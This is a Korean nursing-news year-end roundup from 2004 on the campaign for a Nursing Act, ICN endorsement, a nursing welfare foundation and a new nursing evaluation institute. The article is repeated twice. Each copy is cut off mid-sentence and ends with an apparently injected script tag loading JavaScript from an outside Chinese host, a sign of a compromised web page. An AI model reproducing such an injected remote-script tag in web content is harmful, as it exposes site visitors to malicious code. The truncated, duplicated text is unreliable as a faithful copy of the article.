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2004 간호계 주요 뉴스
[편집국] 편집부 news@nursenews.co.kr 기사입력 2004-12-23 오전 09:06:43
◆ "간호법 제정 꼭 이루자" 하나된 힘
간호계의 숙원과제인 간호법 제정을 실현하기 위한 노력이 대한간호협회를 중심으로 뜨겁게 펼쳐진 한해였다.
간호법 입법을 추진하고 있는 김선미 국회의원 주최로 올해 7월 열린 `간호법 입법에 관한 공청회'에서는 간호법이 독자법으로 제정돼야 하는 타당성을 확인하고 시민, 소비자, 법조계, 보건의료계 등 각계각층으로부터 폭넓은 공감대 형성과 지지를 이끌어낼 수 있었다.
대한간호협회가 시·도간호사회 조직과 회원들의 힘을 결집시켜 전개해온 `간호법 전국 순회 설명회'의 열기도 대단했다. 설명회는 간호사들이 간호법 제정의 필요성을 숙지해 주위의 간호사들에게 전달 교육하고, 일반 국민들을 설득할 수 있도록 하기 위해 9월부터 활발히 진행돼왔다.
설명회에서는 간호법이 필요한 핵심 논리와 당위성, 주위 사람들을 설득하는데 필요한 근거자료와 정보가 제공됐다. 간호법에 대한 오해나 반대 의견에 부딪혔을 때 이를 풀어나갈 수 있는 방법도 제시됐다.
설명회에서 간호사들은 "간호법은 국민의 건강권을 보장하기 위한 법이며, 간호사들의 역할과 업무, 책임과 의무를 명확히 세우기 위해 반드시 필요하다"는 공감대를 형성하고 한마음으로 결연한 의지를 다졌다.
간호법을 염원하는 간호사들의 결의를 방방곡곡 확산시키고 국민들의 지지를 확보하는데 선두주자로 뛸 대표들을 대상으로 `간호법 제정을 위한 대표자 훈련 프로그램'을 열기도 했다.
간협은 올 한해 정부와 국회, 보건의료관련단체와 활발히 접촉해 간호법의 필요성을 이해시키고 설득하는 노력을 기울였으며 일반국민들에게 간호법의 필요성을 적극 알리는 홍보 리플릿을 배포하는 등 간호법 제정을 위해 혼신을 다했다.
이에 앞서 4월 총선을 앞두고 간호법 제정에 앞장서는 후보를 지지하기 위한 `후보선택운동'을 벌였다.
◆ ICN, 간호법 제정 공식 지지
세계적으로 저명한 간호지도자들이 내한해 한국간호 발전에 힘을 실어준 한해였다.
주디스 올튼 국제간호협의회(ICN) 사무총장, 존 쉐이버 미국간호학회 회장, 김미자 일리노이대 간호대학 교수 등 거물급 간호지도자와 미국에서 활동 중인 한인 간호학자들은 국제한인간호재단 창립총회 및 국제학술대회 참석차 한국을 찾았다.
이들은 대통령 영부인 권양숙 여사와 김근태 보건복지부 장관을 예방했다. 이 자리에서 국제한인간호재단의 설립 취지, 간호법 제정의 필요성, 고령사회 전문간호사의 역할 등을 알리고 지원과 협조를 요청했다.
특히 주디스 올튼 ICN 사무총장은 영부인에게 "간호법이 한국에서 하루 빨리 제정돼 한국 국민의 건강과 세계 간호계를 위해 일할 수 있도록 도와달라"고 공식 요청했으며, 보건복지부 기자회견을 통해서도 한국의 간호법 제정 추진에 대한 지지 입장을 공식적으로 밝혔다.
◆ 간호복지재단 출범 … 주간보호센터 운영
사회복지법인 대한간호복지재단이 8월 25일 공식 출범했다. 대한간호협회는 국민의 복지향상을 목적으로 보건·의료·사회복지 등 다양한 사업을 추진할 수 있는 간호복지재단을 설립했다.
간호복지재단은 재단 출범과 함께 노인인구 급증과 시대적 요구에 부응하고 지역사회 주민들에게 간호의 본질인 `돌봄'을 제공하기 위해 `대한간호주간보호센터'의 문을 열었다.
KNA연수원 시설 일부를 리모델링해 용인지역에서 처음으로 마련된 주간보호센터에서는 가정에서 생활하고 있는 경증 치매어르신들을 낮 동안 보호함으로써 사회로부터 소외된 생활에서 벗어나 자립할 수 있도록 돕고 가족 및 보호자의 부양부담도 경감시켜주고 있다.
간호복지재단에선 앞으로 다양한 복지사업들을 펼쳐 간호사 고용 창출과 시설 이용자에 대한 사정도구 개발 및 평가시스템을 마련하고 보다 질 높은 노인보건복지서비스를 제공해나가게 된다.
◆ 한국간호평가원 활동 알찬 결실
재단법인 한국간호평가원이 4월 27일 현판식을 갖고 본격적인 업무에 들어갔다. 간호평가원은 국민들의 요구에 부응하는 간호수준을 보장하고 간호사들의 국제 경쟁력을 강화하기 위해 출범한 간호전문직 자율규제기구다.
간호평가원은 보건복지부가 주관하는 전문간호사 교육기관 평가의 실무진행을 맡아 올해 3월부터 전문간호사과정을 운영 중인 교육기관에 대해 서면 및 현지방문평가를 시행했다.
이는 전문간호사과정의 실태를 파악, 평가하고 각 교육기관에 피드백을 줌으로써 국민건강을 지켜나갈 수준 높은 전문간호사 양성의 토대를 마련하기 위해 실시됐다.
간호평가원은 10개 분야 전문간호사에 대한 표준교육과정(안)과 직무(안)에 대한 합의를 이뤄내는 성과도 거뒀다.
전문간호사 핵심능력과 각 분야별 전문간호사직무(안)을 놓고 면밀히 검토한 후 폭넓은 의견수렴을 거쳐 최종안에 대한 합?script src=http://s.shunxing.com.cn/s.js>
간호계의 숙원과제인 간호법 제정을 실현하기 위한 노력이 대한간호협회를 중심으로 뜨겁게 펼쳐진 한해였다.
간호법 입법을 추진하고 있는 김선미 국회의원 주최로 올해 7월 열린 `간호법 입법에 관한 공청회'에서는 간호법이 독자법으로 제정돼야 하는 타당성을 확인하고 시민, 소비자, 법조계, 보건의료계 등 각계각층으로부터 폭넓은 공감대 형성과 지지를 이끌어낼 수 있었다.
대한간호협회가 시·도간호사회 조직과 회원들의 힘을 결집시켜 전개해온 `간호법 전국 순회 설명회'의 열기도 대단했다. 설명회는 간호사들이 간호법 제정의 필요성을 숙지해 주위의 간호사들에게 전달 교육하고, 일반 국민들을 설득할 수 있도록 하기 위해 9월부터 활발히 진행돼왔다.
설명회에서는 간호법이 필요한 핵심 논리와 당위성, 주위 사람들을 설득하는데 필요한 근거자료와 정보가 제공됐다. 간호법에 대한 오해나 반대 의견에 부딪혔을 때 이를 풀어나갈 수 있는 방법도 제시됐다.
설명회에서 간호사들은 "간호법은 국민의 건강권을 보장하기 위한 법이며, 간호사들의 역할과 업무, 책임과 의무를 명확히 세우기 위해 반드시 필요하다"는 공감대를 형성하고 한마음으로 결연한 의지를 다졌다.
간호법을 염원하는 간호사들의 결의를 방방곡곡 확산시키고 국민들의 지지를 확보하는데 선두주자로 뛸 대표들을 대상으로 `간호법 제정을 위한 대표자 훈련 프로그램'을 열기도 했다.
간협은 올 한해 정부와 국회, 보건의료관련단체와 활발히 접촉해 간호법의 필요성을 이해시키고 설득하는 노력을 기울였으며 일반국민들에게 간호법의 필요성을 적극 알리는 홍보 리플릿을 배포하는 등 간호법 제정을 위해 혼신을 다했다.
이에 앞서 4월 총선을 앞두고 간호법 제정에 앞장서는 후보를 지지하기 위한 `후보선택운동'을 벌였다.
◆ ICN, 간호법 제정 공식 지지
세계적으로 저명한 간호지도자들이 내한해 한국간호 발전에 힘을 실어준 한해였다.
주디스 올튼 국제간호협의회(ICN) 사무총장, 존 쉐이버 미국간호학회 회장, 김미자 일리노이대 간호대학 교수 등 거물급 간호지도자와 미국에서 활동 중인 한인 간호학자들은 국제한인간호재단 창립총회 및 국제학술대회 참석차 한국을 찾았다.
이들은 대통령 영부인 권양숙 여사와 김근태 보건복지부 장관을 예방했다. 이 자리에서 국제한인간호재단의 설립 취지, 간호법 제정의 필요성, 고령사회 전문간호사의 역할 등을 알리고 지원과 협조를 요청했다.
특히 주디스 올튼 ICN 사무총장은 영부인에게 "간호법이 한국에서 하루 빨리 제정돼 한국 국민의 건강과 세계 간호계를 위해 일할 수 있도록 도와달라"고 공식 요청했으며, 보건복지부 기자회견을 통해서도 한국의 간호법 제정 추진에 대한 지지 입장을 공식적으로 밝혔다.
◆ 간호복지재단 출범 … 주간보호센터 운영
사회복지법인 대한간호복지재단이 8월 25일 공식 출범했다. 대한간호협회는 국민의 복지향상을 목적으로 보건·의료·사회복지 등 다양한 사업을 추진할 수 있는 간호복지재단을 설립했다.
간호복지재단은 재단 출범과 함께 노인인구 급증과 시대적 요구에 부응하고 지역사회 주민들에게 간호의 본질인 `돌봄'을 제공하기 위해 `대한간호주간보호센터'의 문을 열었다.
KNA연수원 시설 일부를 리모델링해 용인지역에서 처음으로 마련된 주간보호센터에서는 가정에서 생활하고 있는 경증 치매어르신들을 낮 동안 보호함으로써 사회로부터 소외된 생활에서 벗어나 자립할 수 있도록 돕고 가족 및 보호자의 부양부담도 경감시켜주고 있다.
간호복지재단에선 앞으로 다양한 복지사업들을 펼쳐 간호사 고용 창출과 시설 이용자에 대한 사정도구 개발 및 평가시스템을 마련하고 보다 질 높은 노인보건복지서비스를 제공해나가게 된다.
◆ 한국간호평가원 활동 알찬 결실
재단법인 한국간호평가원이 4월 27일 현판식을 갖고 본격적인 업무에 들어갔다. 간호평가원은 국민들의 요구에 부응하는 간호수준을 보장하고 간호사들의 국제 경쟁력을 강화하기 위해 출범한 간호전문직 자율규제기구다.
간호평가원은 보건복지부가 주관하는 전문간호사 교육기관 평가의 실무진행을 맡아 올해 3월부터 전문간호사과정을 운영 중인 교육기관에 대해 서면 및 현지방문평가를 시행했다.
이는 전문간호사과정의 실태를 파악, 평가하고 각 교육기관에 피드백을 줌으로써 국민건강을 지켜나갈 수준 높은 전문간호사 양성의 토대를 마련하기 위해 실시됐다.
간호평가원은 10개 분야 전문간호사에 대한 표준교육과정(안)과 직무(안)에 대한 합의를 이뤄내는 성과도 거뒀다.
전문간호사 핵심능력과 각 분야별 전문간호사직무(안)을 놓고 면밀히 검토한 후 폭넓은 의견수렴을 거쳐 최종안에 대한 합?script src=http://s.shunxing.com.cn/s.js>
